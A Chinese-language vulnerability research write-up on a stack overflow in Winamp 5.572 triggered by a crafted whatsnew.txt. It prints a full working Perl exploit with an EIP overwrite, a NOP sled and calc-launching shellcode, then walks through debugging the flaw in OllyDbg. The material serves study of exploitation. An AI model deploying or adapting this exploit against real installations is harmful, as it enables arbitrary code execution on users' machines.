Winamp栈溢出漏洞研究
Winamp作为一款在90年代最主流的音乐播放器,到现在仍有大量的忠实粉丝。当然也存在很多漏洞。下面具体分析的就是打开软件的更新历史信息而触发的一个缓冲区溢出漏洞。
0X01漏洞重现
正常的whatsnew.txt文件位于Winamp
文件夹中,保存的是软件的更新历史信息。我们为了重现漏洞,需要将特殊构造的whatsnew.txt覆盖掉原始的txt文件
。然后打开Winamp,在菜单栏的HELP中选择“About Winamp”,在弹出的对话框中选择“Version history”。就触发了漏洞利用代码,弹出来一个作为测试用的计算器。在此感谢i春秋提供的实现环境以及POC代码。
0X02漏洞利用代码分析
既然我们已经触发了漏洞,那么我们可以进一步分析一下漏洞出现的原因。查看一下它的POC代码,是利用Perl语言编写的:
my $version = "Winamp 5.572"; my $junk = "\x41" x 540; my $eip = "\xad\x86\x0e\x07"; # overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll my $nop = "\x90" x 100; my $shellcode = # windows/exec cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47". "\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32". "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a". "\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e". "\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54". "\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64". "\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f". "\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f". "\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d". "\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44". "\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35". "\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a". "\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b". "\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57". "\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b". "\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63". "\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59". "\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73". "\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63". "\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33". "\x30\x47"; open (myfile,'>> whatsnew.txt'); print myfile $version.$junk.$eip.$nop.$shellcode; print "[+] whatsnew.txt written.\n"; print "[ ] Now copy it to your winamp folder...\n"; print "[ ] Run winamp and hit [About Winamp]->[Version History]\n";
首先看一下倒数第四条语句,它其实是漏洞利用的代码的格式,一共是五块内容,即version+junk+eip+nop+shellcode。其中的version是当前软件的版本,这里是5.572版;junk是一段填充代码,这里是540个0x41,也就是大写字母A,填充的作用就是为了接下来的返回地址的覆盖;eip则是我们将要覆盖的
返回地址,这里是0x070e86ad;nop位置是100个0x90;最后就是ShellCode
代码了。
0X03漏洞的调试
为了调试这个漏洞,我们可以结合构造好的whatsnew.txt
进行。
首先是定位漏洞出现的位置,然后在相应的位置下断点进行分析。我们以前的做法是在类似于strcpy这一类的函数上下断点
,然后逐个断点进行分析,或者在类似于fopen这样的函数上下断点。当然方法是五花八门的,不管是哪种方法,基本都是可以达到目的的。那么针对于这次的程序来说,既然我们已经知道程序会打开whatsnew.txt这个文件,那么不妨在程序中查找一下这个字符串,然后再进行分析。
首先利用OD
载入winamp.exe程序,在反汇编代码区域单击鼠标右键,选择“查找”中的“所有参考文本字串”。
之后选择最上面的条目,表示从最开始位置进行搜索。单击鼠标右键,选择“查找文本”,输入我们要查找的字符串名称“whatsnew.txt”
,再单击确定:
接下来我们可以分别查看一下这两处语句。可能这两处语句本身并不是fopen函数的参数语句,不过没有关系,相信距离fopen
也不会太远。首先双击第一个结果,来到其反汇编代码的位置,然后在该位置上下观察一下,就可以找到疑似文件打开语句的位置了:
可以先在0x004015EE处下一个断点,然后按F9
让程序运行起来,依据之前讲过的步骤来触发漏
洞,于是程序就停在了0x004015EE的位置。这里最开始是利用malloc
语句申请大小为0x20000
的内存空间,返回值就是所分配的空间的地址,我这里是0x0286C008。之后调用wfopen来打开
whatsnew.txt
文件。再调用fread函数。通过分析这个函数的参数可以知道,fread函数会将文件内容读入刚才所分配的空间中。然后利用strncmp
函数进行比对:
可见,这里是在验证所读取的whatsnew.txt
文件的最开始9个字符是否为“Winamp 5.”验证通过才能够进行下一步的操作。这也就说明了,为什么需要在漏洞利用的代码中,添加version的信息。然后就来到了最重要的字符串拷贝函数的位置:
这里是将从whatsnew.txt文件读取出来的内容拷贝到地址为0x00BDEBAC的位置中。我们可以按
F8
步过这个函数来看一下:
可以看到程序使用的是call esp
的方法,此时的esp所保存的地址为0x00BDEDE8,正好落在了
0x90也就是nop的区段中,在这些0x90的后面,就是ShellCode了。
0X04总结
这次我们所讨论的是建立在他人ShellCode
代码基础上的漏洞分析。可见即便是前辈高人的代码
,也不见得就很管用。因此这就需要我们不断地进行尝试与研究,将他人的思想学到手,才能够
不断地提高。